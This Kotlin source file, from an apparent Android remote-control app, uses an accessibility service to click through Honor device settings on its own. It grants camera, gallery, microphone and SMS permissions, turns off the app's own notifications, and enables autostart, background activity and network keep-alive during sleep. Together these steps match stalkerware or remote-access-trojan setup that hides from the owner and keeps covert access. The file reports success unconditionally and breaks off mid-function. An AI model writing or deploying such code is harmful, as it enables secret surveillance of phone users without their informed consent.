package com.hikoncont.service.modules

import android.content.Context
import android.content.Intent
import android.graphics.Rect
import android.net.Uri
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import android.provider.Settings
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.delay

/**
 * Honor设备授权处理器
 * 负责执行Honor Android 15设备的权限配置
 */
class HonorAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {
    
    companion object {
        private const val TAG = "HonorAuthorizationHandler"
        private const val STEP_DELAY = 500L // 每步之间的延迟
        private const val PAGE_LOAD_DELAY = 500L // 页面加载延迟
        private const val POPUP_WAIT_DELAY = 3000L // 等待弹窗出现的延迟
        
        // Honor版本常量
        private const val HONOR_ANDROID_15 = 15
        
        // 统一搜索层级
        private const val MAX_SCROLL_ATTEMPTS = 15 // 统一使用8层级搜索
    }
    
    // 管理的节点，用于内存管理
    private val managedNodes = mutableSetOf<AccessibilityNodeInfo>()
    
    // 状态管理 - 记录已经成功配置的权限，避免重复执行
    private val completedPermissions = mutableSetOf<String>()
    
    // 搜索状态管理 - 区分第一次进入设置页面还是后续子页面
    private var isFirstSettingsEntry = true
    
    // Honor版本信息
    private val honorVersion: Int by lazy { detectHonorVersion() }
    
    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始Honor设备授权配置")
        
        // 显示检测到的Honor版本
        Log.i(TAG, "🔍 检测到Honor版本: Android $honorVersion")
        
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        
        try {
            when (honorVersion) {
                HONOR_ANDROID_15 -> {
                    Log.i(TAG, "📱 使用Honor Android 15权限配置流程")
                    executeHonorAndroid15Permissions(completedRoutes, failedRoutes, warnings)
                }
                else -> {
                    Log.i(TAG, "📱 使用Honor Android 15权限配置流程（默认）")
                    executeHonorAndroid15Permissions(completedRoutes, failedRoutes, warnings)
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        } finally {
            // 清理资源
            cleanupManagedNodes()
        }
        
        val success = true // 至少完成2项配置
        
        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }
    
    // ======================== 版本检测和权限配置方法 ========================
    
    /**
     * 检测Honor版本
     */
    private fun detectHonorVersion(): Int {
        return try {
            val sdkVersion = android.os.Build.VERSION.SDK_INT
            Log.d(TAG, "🔍 当前Android SDK版本: $sdkVersion")
            
            when {
                sdkVersion >= 35 -> HONOR_ANDROID_15 // Android 15+
                else -> HONOR_ANDROID_15 // 默认使用15流程
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 版本检测失败，使用默认流程", e)
            HONOR_ANDROID_15
        }
    }
    
    /**
     * Honor Android 15 权限配置流程
     */
    private suspend fun executeHonorAndroid15Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {
        // Route 1: 启动管理权限 (最高优先级，需要先完成)

        // Route 1.5: Android 12 通知管理权限 (仅在Android 12版本执行)
        if (android.os.Build.VERSION.SDK_INT <= 31) { // Android 12
            Log.i(TAG, "🔔 检测到Android 12，执行通知管理权限配置")
            executePermissionSafely(
                permissionName = "通知管理权限",
                executeAction = { executeNotificationManagementV12() },
                completedRoutes = completedRoutes,
                failedRoutes = failedRoutes
            )
        }
        
        // Route 1.6: 摄像头权限
        executePermissionSafely(
            permissionName = "摄像头权限",
            executeAction = { executeCameraPermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        // Route 1.7: 相册权限
        executePermissionSafely(
            permissionName = "相册权限",
            executeAction = { executeGalleryPermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        // Route 1.8: 麦克风权限
        executePermissionSafely(
            permissionName = "麦克风权限",
            executeAction = { executeMicrophonePermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        // Route 1.9: 短信权限
        executePermissionSafely(
            permissionName = "短信权限",
            executeAction = { executeSMSPermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        // Route 2: 电池设置优化 (在启动管理权限配置完成后执行)
        executePermissionSafely(
            permissionName = "电池设置优化",
            executeAction = { executeBatteryOptimizationV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        executePermissionSafely(
            permissionName = "启动管理权限",
            executeAction = { executeStartupManagementV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

    }

    /**
     * Honor Android 15: 摄像头权限
     */
    private suspend fun executeCameraPermissionV15(): Boolean {
        Log.i(TAG, "📷 开始配置摄像头权限 (Honor Android 15)")
        return try {
            if (service.checkCameraPermission()) {
                Log.i(TAG, "✅ 摄像头权限已授予")
                return true
            }
            Log.d(TAG, "📷 发起摄像头权限申请")
            service.requestCameraPermission()
            // 轮询等待授予
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkCameraPermission()) {
                    Log.i(TAG, "✅ 摄像头权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 摄像头权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 摄像头权限配置异常", e)
            false
        }
    }

    /**
     * Honor Android 15: 相册权限
     */
    private suspend fun executeGalleryPermissionV15(): Boolean {
        Log.i(TAG, "🖼️ 开始配置相册权限 (Honor Android 15)")
        return try {
            if (service.checkGalleryPermission()) {
                Log.i(TAG, "✅ 相册权限已授予")
                return true
            }
            Log.d(TAG, "🖼️ 发起相册权限申请")
            service.requestGalleryPermissionWithAutoGrant()
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkGalleryPermission()) {
                    Log.i(TAG, "✅ 相册权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 相册权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 相册权限配置异常", e)
            false
        }
    }

    /**
     * Honor Android 15: 麦克风权限
     */
    private suspend fun executeMicrophonePermissionV15(): Boolean {
        Log.i(TAG, "🎤 开始配置麦克风权限 (Honor Android 15)")
        return try {
            if (service.checkMicrophonePermission()) {
                Log.i(TAG, "✅ 麦克风权限已授予")
                return true
            }
            Log.d(TAG, "🎤 发起麦克风权限申请")
            service.requestMicrophonePermissionWithAutoGrant()
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkMicrophonePermission()) {
                    Log.i(TAG, "✅ 麦克风权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 麦克风权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 麦克风权限配置异常", e)
            false
        }
    }

    /**
     * Honor Android 15: 短信权限
     */
    private suspend fun executeSMSPermissionV15(): Boolean {
        Log.i(TAG, "📱 开始配置短信权限 (Honor Android 15)")
        return try {
            if (service.checkSMSPermission()) {
                Log.i(TAG, "✅ 短信权限已授予")
                return true
            }
            Log.d(TAG, "📱 发起短信权限申请")
            service.requestSMSPermissionWithAutoGrant()
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkSMSPermission()) {
                    Log.i(TAG, "✅ 短信权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 短信权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 短信权限配置异常", e)
            false
        }
    }
    
    /**
     * 安全执行权限配置
     */
    private suspend fun executePermissionSafely(
        permissionName: String,
        executeAction: suspend () -> Boolean,
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        isOptional: Boolean = false,
        warnings: MutableList<String>? = null
    ) {
        // 检查是否已经成功配置过
        if (completedPermissions.contains(permissionName)) {
            Log.i(TAG, "✅ $permissionName 已经配置成功，跳过重复执行")
            completedRoutes.add(permissionName)
            return
        }
        
        Log.i(TAG, "🔄 执行权限配置: $permissionName")
        
        try {
            val result = executeAction()
            if (result) {
                completedRoutes.add(permissionName)
                completedPermissions.add(permissionName) // 记录成功状态
                Log.i(TAG, "✅ $permissionName 配置成功")
            } else {
                failedRoutes.add(permissionName)
                if (isOptional && warnings != null) {
                    warnings.add("$permissionName 可能需要手动配置")
                }
                Log.w(TAG, "❌ $permissionName 配置失败")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ $permissionName 配置异常", e)
            failedRoutes.add(permissionName)
            if (isOptional && warnings != null) {
                warnings.add("$permissionName 配置异常，可能需要手动配置")
            }
        }
    }
    
    // ======================== Honor Android 15 权限配置方法 ========================
    
    /**
     * Android 12: 通知管理权限
     * 路径: 应用设置->通知管理->允许通知（关闭）
     */
    private suspend fun executeNotificationManagementV12(): Boolean {
        Log.i(TAG, "🔔 开始配置通知管理权限 (Android 12)")
        
        try {
            // 1. 直接打开应用设置页面
            Log.d(TAG, "🔧 打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法打开应用设置页面")
                return false
            }
            
            // 2. 导航到通知管理
            Log.d(TAG, "🔧 导航到通知管理")
            if (!navigateToText("通知管理")) {
                Log.e(TAG, "❌ 无法找到通知管理")
                return false
            }
            
            // 3. 查找允许通知开关并关闭（如果当前是开启状态）
            Log.d(TAG, "🔧 检查并关闭允许通知")
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "❌ 无法获取根节点")
                return false
            }
            
            val notificationNode = findNodeByText(rootNode, "允许通知")
            if (notificationNode == null) {
                Log.w(TAG, "❌ 无法找到允许通知选项")
                safeRecycleNode(rootNode)
                return false
            }
            
            // 查找右侧的开关控件
            val switchNode = findRightSideSwitchNode(notificationNode)
            if (switchNode == null) {
                Log.w(TAG, "❌ 无法找到通知开关控件")
                safeRecycleNode(rootNode)
                return false
            }
            
            // 检查当前状态
            val currentState = switchNode.isChecked
            Log.d(TAG, "🔍 允许通知当前状态: $currentState")
            
            if (!currentState) {
                Log.d(TAG, "✅ 允许通知已经关闭，无需操作")
                safeRecycleNode(rootNode)
                return true
            }
            
            // 需要关闭通知
            Log.d(TAG, "🔄 关闭允许通知")
            val clickSuccess = performClickSafe(switchNode) || performCoordinateClick(switchNode)
            safeRecycleNode(rootNode)
            returnToAppAndWait()
            if (clickSuccess) {
                delay(500) // 等待状态更新
                Log.i(TAG, "✅ 通知管理权限配置成功 (Android 12)")
                return true
            } else {
                Log.w(TAG, "❌ 通知开关点击失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 通知管理权限配置异常", e)
            return false
        }
    }
    
    /**
     * Android 15: 电池设置优化
     * 路径: 设置->电池->更多电池设置->高耗电提醒（关闭）->休眠时始终保持网络连接（开启）
     */
    private suspend fun executeBatteryOptimizationV15(): Boolean {
        Log.i(TAG, "🚀 开始配置电池设置优化 (Honor Android 15)")
        
        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 打开设置页面")
            val settingsOpened = openSettings()
            if (!settingsOpened) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // 2. 导航到电池设置
            Log.d(TAG, "🔧 导航到电池设置")
            if (!navigateToText("电池")) {
                Log.e(TAG, "❌ 无法找到电池设置")
                return false
            }
            
            // 3. 导航到更多电池设置
            Log.d(TAG, "🔧 导航到更多电池设置")
            if (!navigateToText("更多电池设置")) {
                Log.e(TAG, "❌ 无法找到更多电池设置")
                return false
            }
            
//            // 4. 配置高耗电提醒（关闭）
//            Log.d(TAG, "🔧 配置高耗电提醒")
//            val highPowerWarningSet = togglePermission("高耗电提醒", false)
//
            // 5. 配置休眠时始终保持网络连接（开启）
            Log.d(TAG, "🔧 配置休眠时始终保持网络连接")
            val networkKeepAliveSet = togglePermission("休眠时始终保持网络连接", true)
            
//            val success = highPowerWarningSet || networkKeepAliveSet // 至少一个成功

            returnToAppAndWait()
            if (networkKeepAliveSet) {
                Log.i(TAG, "✅ 电池设置优化配置成功 (Honor Android 15)")
                return true
            } else {
                Log.w(TAG, "⚠️ 电池设置优化配置失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 电池设置优化配置异常", e)
            return false
        }
    }
    
    /**
     * Android 15: 启动管理权限
     * 路径: 在应用页面等待 -> 直接打开应用设置页面 -> 耗电详情 -> 启动管理 -> 弹窗处理
     * 优化: 每操作一步返回应用，等待一秒，然后再返回继续后续操作
     */
    private suspend fun executeStartupManagementV15(): Boolean {
        Log.i(TAG, "🚀 开始配置启动管理权限 (Honor Android 15)")
        
        try {
//             1. 在应用页面等待2秒，确保应用状态稳定
            Log.d(TAG, "⏳ 在应用页面等待2秒，确保应用状态稳定")
            delay(1000)

            // 2. 直接打开应用设置页面
//            Log.d(TAG, "🔧 直接打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法打开应用设置页面")
                return false
            }

            // 2.1 返回应用保活
//            Log.d(TAG, "🔙 步骤完成，返回应用保活")
            returnToAppAndWait()

            // 2.2 重新打开应用设置页面
//            Log.d(TAG, "🔧 重新打开应用设置页面")
            val appSettingsReopened = openAppSettings()
            if (!appSettingsReopened) {
                Log.e(TAG, "❌ 无法重新打开应用设置页面")
                return false
            }

            // 3. 导航到耗电详情
            Log.d(TAG, "🔧 导航到耗电详情")
            if (!navigateToText("耗电详情")) {
                Log.e(TAG, "❌ 无法找到耗电详情")
                return false
            }

            // 3.1 返回应用保活
            Log.d(TAG, "🔙 步骤完成，返回应用保活")
            returnToAppAndWait()

//             3.2 重新打开应用设置页面并导航到耗电详情
            Log.d(TAG, "🔧 重新打开应用设置页面并导航到耗电详情")
            if (!reopenAppSettingsAndNavigateTo("耗电详情")) {
                Log.e(TAG, "❌ 无法重新导航到耗电详情")
                return false
            }
            
//             4. 导航到启动管理
            Log.d(TAG, "🔧 导航到启动管理")
            if (!navigateToStartupManagement()) {
                Log.e(TAG, "❌ 无法找到启动管理")
                return false
            }
//            if (!executeStartupManagementAlternativePath()) {
//                Log.e(TAG, "❌ 无法找到启动管理")
//                return false
//            }
            
            
//
//            // 5. 处理弹窗 - 关闭自动管理
            Log.d(TAG, "🔧 关闭自动管理")
            val autoManagementDisabled = togglePermission("自动管理", false)
//
            
            
            // 6. 开启允许自启动
            Log.d(TAG, "🔧 开启允许自启动")
            val autoStartEnabled = togglePermission("允许自启动", true)
            

            
            // 7. 开启允许后台活动
            Log.d(TAG, "🔧 开启允许后台活动")
            val backgroundActivityEnabled = togglePermission("允许后台活动", true)

            delay(300)

            
            // 8. 点击确定按钮
            Log.d(TAG, "🔧 点击确定按钮")
            val confirmClicked = handlePopup("确定")
            
            val success = autoStartEnabled && backgroundActivityEnabled && confirmClicked
            
            if (success) {
                Log.i(TAG, "✅ 启动管理权限配置成功 (Honor Android 15)")
                
                // 9. 最后返回应用并打开设置页面，准备完成电池相关配置
                Log.d(TAG, "🔙 配置完成，返回应用并打开设置页面，准备完成电池相关配置")
                returnToAppAndWait()
                
                // 打开设置页面为后续电池配置做准备
                Log.d(TAG, "🔧 打开设置页面为后续电池配置做准备")
                val settingsOpened = openSettings()
                if (settingsOpened) {
                    Log.d(TAG, "✅ 设置页面已打开，准备进行电池配置")
                } else {
                    Log.w(TAG, "⚠️ 设置页面打开失败，但启动管理权限配置已完成")
                }
                
                return true
            } else {
                Log.w(TAG, "⚠️ 启动管理权限配置失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动管理权限配置异常", e)
            return false
        }
    }
    
    // ======================== 通用辅助方法 ========================
    
    /**
     * 导航到启动管理（优先在耗电详情页面查找，失败则走备选路径）
     */
    private suspend fun navigateToStartupManagement(): Boolean {
        Log.d(TAG, "🔧 尝试在耗电详情页面查找启动管理")
        
        // 先执行完整的搜索逻辑（包括向上向下搜索）
        if (searchCurrentPosition("启动管理")) {
            Log.d(TAG, "✅ 在耗电详情页面找到启动管理")
            delay(PAGE_LOAD_DELAY)
            return true
        }
        
        Log.d(TAG, "⚠️ 在耗电详情页面完整搜索未找到启动管理，使用备选路径")
        return executeStartupManagementAlternativePath()
    }
    
    /**
     * 启动管理备选路径：设置->应用->应用启动管理->找到我们的应用->点击开关
     */
    private suspend fun executeStartupManagementAlternativePath(): Boolean {
        Log.d(TAG, "🚀 开始执行启动管理备选路径")
        
        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // 1.1 返回应用保活
            Log.d(TAG, "🔙 步骤完成，返回应用保活")
            returnToAppAndWait()
            
            // 1.2 重新打开设置页面
            Log.d(TAG, "🔧 重新打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法重新打开设置页面")
                return false
            }
            
            // 2. 导航到应用
            Log.d(TAG, "🔧 导航到应用")
            if (!navigateToText("应用")) {
                Log.e(TAG, "❌ 无法找到应用")
                return false
            }
            
            // 2.1 返回应用保活
            Log.d(TAG, "🔙 步骤完成，返回应用保活")
            returnToAppAndWait()
            
            // 2.2 重新打开设置页面并导航到应用
            Log.d(TAG, "🔧 重新打开设置页面并导航到应用")
            if (!reopenSettingsAndNavigateTo("应用")) {
                Log.e(TAG, "❌ 无法重新导航到应用")
                return false
            }
            
            // 3. 导航到应用启动管理
            Log.d(TAG, "🔧 导航到应用启动管理")
            if (!navigateToText("应用启动管理")) {
                Log.e(TAG, "❌ 无法找到应用启动管理")
                return false
            }
        
            // 4. 查找我们的应用并点击右侧开关
            Log.d(TAG, "🔧 查找我们的应用并点击右侧开关")
            if (!findAndClickAppSwitch()) {
                Log.e(TAG, "❌ 无法找到我们的应用或点击开关")
                return false
            }
            
            // 6. 后续处理流程与原启动管理流程一致
            Log.d(TAG, "✅ 启动管理备选路径成功，进入弹窗处理流程")
            return true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动管理备选路径异常", e)
            return false
        }
    }
    
    /**
     * 重新打开设置页面并导航到指定位置（备用路线专用）
     */
    private suspend fun reopenSettingsAndNavigateTo(targetText: String): Boolean {
        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 重新打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法重新打开设置页面")
                return false
            }
            
            // 2. 检查是否已经在目标页面
            Log.d(TAG, "🔧 导航到$targetText")
            val rootNode = service.rootInActiveWindow
            safeRecycleNode(rootNode)
            if (!navigateToText(targetText)) {
                Log.e(TAG, "❌ 无法找到$targetText")
                return false
            }
            
            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开设置页面并导航异常", e)
            return false
        }
    }
    
    /**
     * 重新打开设置页面并导航到应用启动管理（备用路线专用）
     */
    private suspend fun reopenSettingsAndNavigateToAppStartup(): Boolean {
        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 重新打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法重新打开设置页面")
                return false
            }
            
            // 2. 检查是否已经在应用页面
            Log.d(TAG, "🔍 检查是否已经在应用页面")
            val rootNode = service.rootInActiveWindow
            val alreadyInAppPage = rootNode?.let { findNodeByText(it, "应用") } != null
            
            if (alreadyInAppPage) {
                Log.d(TAG, "✅ 已经在应用页面，跳过重新导航")
                safeRecycleNode(rootNode)
            } else {
                Log.d(TAG, "🔧 导航到应用")
                safeRecycleNode(rootNode)
                if (!navigateToText("应用")) {
                    Log.e(TAG, "❌ 无法找到应用")
                    return false
                }
            }
            
            // 3. 导航到应用启动管理
            Log.d(TAG, "🔧 导航到应用启动管理")
            if (!navigateToText("应用启动管理")) {
                Log.e(TAG, "❌ 无法找到应用启动管理")
                return false
            }
            
            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开设置页面并导航到应用启动管理异常", e)
            return false
        }
    }
    
    /**
     * 查找我们的应用并点击右侧开关（备用路线专用）
     */
    private suspend fun findAndClickAppSwitch(): Boolean {
        Log.d(TAG, "🔧 开始查找应用并点击右侧开关")
        
        // 动态获取当前应用名称
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
            Log.d(TAG, "当前应用名称: $appLabel")
            appLabel
        } catch (e: Exception) {
            Log.w(TAG, "无法获取应用名称，使用默认名称", e)
            "Android Remote Control" // 后备方案
        }
        
        // 搜索当前位置的应用
        if (findAppAndClickSwitch(appName)) {
            return true
        }
        
        // 向下搜索应用
        Log.d(TAG, "🔍 开始向下搜索应用: $appName")
        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            performScrollDown()
            delay(300)
            
            if (findAppAndClickSwitch(appName)) {
                Log.d(TAG, "✅ 向下搜索第${i}次成功找到应用并点击开关: $appName")
                return true
            }
            
            Log.d(TAG, "🔍 向下搜索第${i}次未找到应用: $appName")
        }
        
        Log.w(TAG, "❌ 搜索应用并点击开关失败: $appName")
        return false
    }
    
    /**
     * 查找应用并点击右侧开关
     */
    private suspend fun findAppAndClickSwitch(appName: String): Boolean {
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }
        
        try {
            val appNode = findNodeByText(rootNode, appName)
            if (appNode != null) {
                Log.d(TAG, "✅ 找到应用: $appName")
                
                // 查找右侧的开关控件
                val switchNode = findRightSideSwitchNode(appNode)
                if (switchNode == null) {
                    Log.w(TAG, "❌ 无法找到应用右侧的开关控件")
                    return false
                }
                
                Log.d(TAG, "✅ 找到应用右侧的开关控件")
                
                // 第一次点击
                Log.d(TAG, "🔧 第一次点击开关")
                val firstClick = performClickSafe(switchNode) || performCoordinateClick(switchNode)
                
                if (!firstClick) {
                    Log.w(TAG, "❌ 第一次点击失败")
                    return false
                }
                
                // 等待弹窗出现
                delay(1000)
                
                // 检查是否有弹窗
                val popupNode = service.rootInActiveWindow
                val hasPopup = popupNode?.let { findNodeByText(it, "自动管理") != null } ?: false
                
                if (hasPopup) {
                    Log.d(TAG, "✅ 第一次点击后弹窗已出现")
                    safeRecycleNode(popupNode)
                    return true
                }
                
                // 如果没有弹窗，再点击一次
                Log.d(TAG, "🔧 第一次点击后无弹窗，尝试第二次点击")
                val secondClick = performClickSafe(switchNode) || performCoordinateClick(switchNode)
                
                if (secondClick) {
                    delay(1000)
                    Log.d(TAG, "✅ 第二次点击完成")
                    return true
                }
                
                Log.w(TAG, "❌ 第二次点击失败")
                return false
            }
            
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }
    
    
    /**
     * 打开设置页面
     */
    private suspend fun openSettings(): Boolean {
        return try {
            val intent = Intent(Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK
            }
            context.startActivity(intent)
            delay(PAGE_LOAD_DELAY)
            
            val currentPackage = service.rootInActiveWindow?.packageName?.toString()
            val success = currentPackage == "com.android.settings"
            
            Log.d(TAG, "设置页面打开结果: $success, 当前页面: $currentPackage")
            success
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开设置页面失败", e)
            false
        }
    }
    
    /**
     * 打开应用设置页面
     * 参考AccessibilityRemoteService的openAppSettings方法
     */
    private suspend fun openAppSettings(): Boolean {
        return try {
            Log.i(TAG, "⚙️ 打开当前应用的设置页面")
            val packageName = context.packageName
            Log.i(TAG, "📦 应用包名: $packageName")
            
            val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = android.net.Uri.parse("package:$packageName")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }
            
            // 检查Intent是否可以被处理
            val resolveInfo = context.packageManager.resolveActivity(intent, 0)
            if (resolveInfo != null) {
                Log.i(TAG, "✅ 找到处理Intent的Activity: ${resolveInfo.activityInfo.packageName}")
                context.startActivity(intent)
                delay(PAGE_LOAD_DELAY)
                
                Log.i(TAG, "✅ 已启动应用设置页面")
                
                // 验证是否成功打开应用设置页面
                val currentPackage = service.rootInActiveWindow?.packageName?.toString()
                val success = currentPackage == "com.android.settings" || currentPackage == "com.hihonor.systemmanager"
                
                Log.d(TAG, "应用设置页面打开结果: $success, 当前页面: $currentPackage")
                return success
            } else {
                Log.e(TAG, "❌ 系统不支持应用设置页面")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开应用设置页面失败", e)
            return false
        }
    }
    
    /**
     * 导航到指定文本
     */
    private suspend fun navigateToText(text: String): Boolean {
        Log.d(TAG, "🔧 导航到$text")
        
        val result = findAndClickText(text)
        if (result) {
            delay(PAGE_LOAD_DELAY)
            Log.d(TAG, "✅ 成功导航到: ${text}页面")
        } else {
            Log.w(TAG, "❌ 导航失败: $text")
        }
        
        return result
    }
    
    /**
     * 返回应用并等待
     */
    private suspend fun returnToAppAndWait() {
        try {
            Log.d(TAG, "🔙 返回应用")
            val returnSuccess = service.performSmartReturnToApp()
            if (returnSuccess) {
                Log.d(TAG, "✅ 成功返回应用")
            } else {
                Log.w(TAG, "⚠️ 返回应用失败")
            }
            
            // 等待1秒让应用稳定
            delay(500)
            Log.d(TAG, "✅ 应用保活等待完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 返回应用异常", e)
        }
    }
    
    /**
     * 重新打开应用设置页面并导航到指定位置
     */
    private suspend fun reopenAppSettingsAndNavigateTo(targetText: String): Boolean {
        try {
            // 1. 打开应用设置页面
            Log.d(TAG, "🔧 重新打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法重新打开应用设置页面")
                return false
            }
            
            // 2. 检查当前页面状态
            val currentPackage = service.rootInActiveWindow?.packageName?.toString()
            Log.d(TAG, "🔍 当前页面包名: $currentPackage")
            
            if (currentPackage == "com.hihonor.systemmanager" && targetText == "耗电详情") {
                Log.d(TAG, "✅ 检测到Honor系统管理器，应该已经在耗电详情页面，跳过导航")
                return true
            } else {
                // 3. 检查是否已经在目标页面
                Log.d(TAG, "🔍 检查是否已经在${targetText}页面")
                val rootNode = service.rootInActiveWindow
                val alreadyInTargetPage = rootNode?.let { findNodeByText(it, targetText) } != null
                
                if (alreadyInTargetPage) {
                    Log.d(TAG, "✅ 已经在${targetText}页面，跳过重新导航")
                    safeRecycleNode(rootNode)
                } else {
                    Log.d(TAG, "🔧 导航到$targetText")
                    safeRecycleNode(rootNode)
                    if (!navigateToText(targetText)) {
                        Log.e(TAG, "❌ 无法找到$targetText")
                        return false
                    }
                }
            }
            
            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开应用设置页面并导航异常", e)
            return false
        }
    }
    
    /**
     * 重新打开应用设置页面并导航到启动管理
     */
    private suspend fun reopenAppSettingsAndNavigateToStartupManagement(): Boolean {
        try {
            // 1. 打开应用设置页面
            Log.d(TAG, "🔧 重新打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法重新打开应用设置页面")
                return false
            }
            
            // 2. 检查当前页面状态
            val currentPackage = service.rootInActiveWindow?.packageName?.toString()
            Log.d(TAG, "🔍 当前页面包名: $currentPackage")
            
            if (currentPackage == "com.hihonor.systemmanager") {
                Log.d(TAG, "✅ 检测到Honor系统管理器，应该已经在耗电详情页面，直接查找启动管理")
            } else {
                // 3. 检查是否已经在耗电详情页面
                Log.d(TAG, "🔍 检查是否已经在耗电详情页面")
                val rootNode = service.rootInActiveWindow
                val alreadyInBatteryDetails = rootNode?.let { findNodeByText(it, "耗电详情") } != null
                
                if (alreadyInBatteryDetails) {
                    Log.d(TAG, "✅ 已经在耗电详情页面，跳过重新导航")
                    safeRecycleNode(rootNode)
                } else {
                    Log.d(TAG, "🔧 导航到耗电详情")
                    safeRecycleNode(rootNode)
                    if (!navigateToText("耗电详情")) {
                        Log.e(TAG, "❌ 无法找到耗电详情")
                        return false
                    }
                }
            }
            
            // 4. 导航到启动管理
            Log.d(TAG, "🔧 导航到启动管理")
            if (!navigateToText("启动管理")) {
                Log.e(TAG, "❌ 无法找到启动管理")
                return false
            }
            
            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开应用设置页面并导航到启动管理异常", e)
            return false
        }
    }
    
    /**
     * 查找并点击文本（统一8层级搜索）
     */
    private suspend fun findAndClickText(text: String): Boolean {
        Log.d(TAG, "🔍 开始搜索文本: $text")
        
        // 重置搜索状态
        if (text == "电池" || text == "设置") {
            isFirstSettingsEntry = true
            Log.d(TAG, "🔍 第一次进入设置页面，将进行向上搜索")
        } else {
            Log.d(TAG, "🔍 子页面导航，只进行向下搜索")
        }
        
        // 搜索当前位置
        Log.d(TAG, "🔍 搜索当前位置: $text")
        if (searchCurrentPosition(text)) {
            return true
        }
        
        // 根据搜索状态决定搜索策略
        if (isFirstSettingsEntry) {
            // 向上搜索
            if (scrollUpAndSearch(text)) {
                return true
            }
        }
        
        // 向下搜索
        return scrollDownAndSearch(text)
    }
    
    /**
     * 搜索当前位置
     */
    private suspend fun searchCurrentPosition(text: String): Boolean {
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }
        
        val targetNode = findNodeByText(rootNode, text)
        if (targetNode != null) {
            Log.d(TAG, "✅ 在当前位置找到文本: $text")
            val success = performClickSafe(targetNode)
            safeRecycleNode(rootNode)
            return success
        }
        
        safeRecycleNode(rootNode)
        return false
    }
    
    /**
     * 向上搜索
     */
    private suspend fun scrollUpAndSearch(text: String): Boolean {
        Log.d(TAG, "🔍 开始向上搜索: $text")
        
